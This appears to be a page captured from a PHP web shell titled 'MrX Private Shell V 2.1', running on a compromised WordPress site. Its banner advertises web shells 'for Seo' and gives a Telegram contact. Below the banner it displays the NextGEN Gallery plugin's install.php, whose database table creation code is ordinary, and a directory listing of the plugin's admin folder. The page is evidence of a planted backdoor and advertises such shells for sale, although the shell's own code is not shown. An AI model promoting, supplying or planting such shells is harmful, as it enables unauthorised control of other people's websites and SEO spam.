__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* creates all tables for the gallery called during register_activation hook
*/
function nggallery_install( $installer ) {
global $wpdb;
$nggpictures = $wpdb->prefix . 'ngg_pictures';
$nggallery = $wpdb->prefix . 'ngg_gallery';
$nggalbum = $wpdb->prefix . 'ngg_album';
// Create pictures table.
$sql = 'CREATE TABLE ' . $nggpictures . " (
pid BIGINT(20) NOT NULL AUTO_INCREMENT ,
image_slug VARCHAR(255) NOT NULL ,
post_id BIGINT(20) DEFAULT '0' NOT NULL ,
galleryid BIGINT(20) DEFAULT '0' NOT NULL ,
filename VARCHAR(255) NOT NULL ,
description MEDIUMTEXT NULL ,
alttext MEDIUMTEXT NULL ,
imagedate DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
exclude TINYINT NULL DEFAULT '0' ,
sortorder BIGINT(20) DEFAULT '0' NOT NULL ,
meta_data LONGTEXT,
extras_post_id BIGINT(20) DEFAULT '0' NOT NULL,
PRIMARY KEY (pid),
KEY extras_post_id_key (extras_post_id)
);";
$installer->upgrade_schema( $sql );
// Create gallery table.
$sql = 'CREATE TABLE ' . $nggallery . " (
gid BIGINT(20) NOT NULL AUTO_INCREMENT ,
name VARCHAR(255) NOT NULL ,
slug VARCHAR(255) NOT NULL ,
path MEDIUMTEXT NULL ,
title MEDIUMTEXT NULL ,
galdesc MEDIUMTEXT NULL ,
pageid BIGINT(20) DEFAULT '0' NOT NULL ,
previewpic BIGINT(20) DEFAULT '0' NOT NULL ,
author BIGINT(20) DEFAULT '0' NOT NULL ,
extras_post_id BIGINT(20) DEFAULT '0' NOT NULL,
date_created DATETIME NULL,
date_modified DATETIME NULL,
PRIMARY KEY (gid),
KEY extras_post_id_key (extras_post_id)
)";
$installer->upgrade_schema( $sql );
// Create albums table.
$sql = 'CREATE TABLE ' . $nggalbum . " (
id BIGINT(20) NOT NULL AUTO_INCREMENT ,
name VARCHAR(255) NOT NULL ,
slug VARCHAR(255) NOT NULL ,
previewpic BIGINT(20) DEFAULT '0' NOT NULL ,
albumdesc MEDIUMTEXT NULL ,
sortorder LONGTEXT NOT NULL,
pageid BIGINT(20) DEFAULT '0' NOT NULL,
extras_post_id BIGINT(20) DEFAULT '0' NOT NULL,
date_created DATETIME NULL,
date_modified DATETIME NULL,
PRIMARY KEY (id),
KEY extras_post_id_key (extras_post_id)
)";
$installer->upgrade_schema( $sql );
// check one table again, to be sure.
if ( ! $wpdb->get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', [ $wpdb->esc_like( $nggpictures ) ] ) ) ) {
update_option( 'ngg_init_check', __( 'NextGEN Gallery : Tables could not created, please check your database settings', 'nggallery' ) );
}
}
/**
* @param string $capability name of the capability which should be de-registered
*/
function ngg_remove_capability( $capability ) {
// this function remove the $capability only from the classic roles.
$check_order = [ 'subscriber', 'contributor', 'author', 'editor', 'administrator' ];
foreach ( $check_order as $role ) {
$role = get_role( $role );
if ( ! is_null( $role ) ) {
$role->remove_cap( $capability );
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| css | Folder | 0755 |
|
|
| images | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| admin.php | File | 14.54 KB | 0644 |
|
| ajax.php | File | 4.97 KB | 0644 |
|
| album.php | File | 26.37 KB | 0644 |
|
| edit-thumbnail.php | File | 6.76 KB | 0644 |
|
| functions.php | File | 19.93 KB | 0644 |
|
| install.php | File | 2.99 KB | 0644 |
|
| manage-galleries.php | File | 19.75 KB | 0644 |
|
| manage-images.php | File | 27.47 KB | 0644 |
|
| manage-sort.php | File | 6.75 KB | 0644 |
|
| manage.php | File | 40.74 KB | 0644 |
|
| media-upload.php | File | 14.86 KB | 0644 |
|
| overview.php | File | 14.21 KB | 0644 |
|
| roles.php | File | 5.79 KB | 0644 |
|
| rotate.php | File | 3.3 KB | 0644 |
|
| showmeta.php | File | 4.93 KB | 0644 |
|
| tags.php | File | 11.41 KB | 0644 |
|
| thumbnails-template.php | File | 3.5 KB | 0644 |
|
| wpmu.php | File | 4.26 KB | 0644 |
|